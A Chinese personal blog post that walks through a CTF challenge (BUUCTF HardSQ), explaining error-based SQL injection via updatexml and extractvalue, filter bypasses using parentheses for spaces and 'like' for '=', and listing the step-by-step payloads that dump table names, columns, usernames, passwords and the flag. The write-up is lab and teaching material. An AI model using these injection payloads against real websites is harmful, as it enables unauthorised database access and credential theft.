Z1d10tのBlog

A note for myself,have fun!

buuctf [极客大挑战 2019]HardSQ

这个题目是报错注入的典型,值得记录一下

简单尝试之后常见的字符比如空格 union都被黑名单了 尝试用/**/绕过空格但还是不行,只能用()来绕过空格

这里测试空格是否被河蟹 不能通过1’加空格 这样测试是不对的

最好是用1' #这样测试比较正确,因为一般题目不会河蟹#字符

空格绕过的原理: 括号是来包含子查询的,任何可以计算出结果的语句都可以用括号围起来,而括号的两端,可以没有多余的空格

so 所以只能用报错注入了,这里就好好回顾一下报错注入

一般报错注入分为两个函数:updatexml() 与extractvalue()

就拿updatexml举例 他们两的差别就只是传参上

updatexml(1,2,3)函数总共有三个参数,当第二个参数有特殊符号时,就会触发数据库报错,而且将参数2的内容显示在报错信息中,常用是~他的十六进制用0x7e表示

然后,报错注入常用拼接函数 concat和group_concat

concatgroup_concat都是用在sql语句中做拼接使用的,但是两者使用的方式不尽相同,concat是针对以行数据做的拼接,而group_concat是针对列做的数据拼接,且group_concat自动生成逗号。

所以格式一般为:updatexml(1,concat(0x7e,sql语句,0x7e),1)

然而,extractvalue(1,2)只有两个参数,当第二个参数具有特殊符号时,则会报错。

格式为:extractvalue( 1,concat(0x7e,sql语句))

回到题目:

其实题目本身就是考察报错注入与绕过空格 这里就简单谢谢payload:

1
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

XPATH syntax error: ‘geek

1
1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

XPATH syntax error: ‘H4rDsq1

1
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

XPATH syntax error: ‘id,username,password

1
1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#

XPATH syntax error: ‘~1flagflag{9804c176-72e3-46d2-90’

这里flag显示的不完全,用到left 和 right函数

img

img

1
1'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))#

XPATH syntax error: ‘~04c176-72e3-46d2-902b-0e79f4ea1’

查询到其余的flag

因为还河蟹了= 所以用了like语句

完成!

本文最后更新于 天前,文中所描述的信息可能已发生改变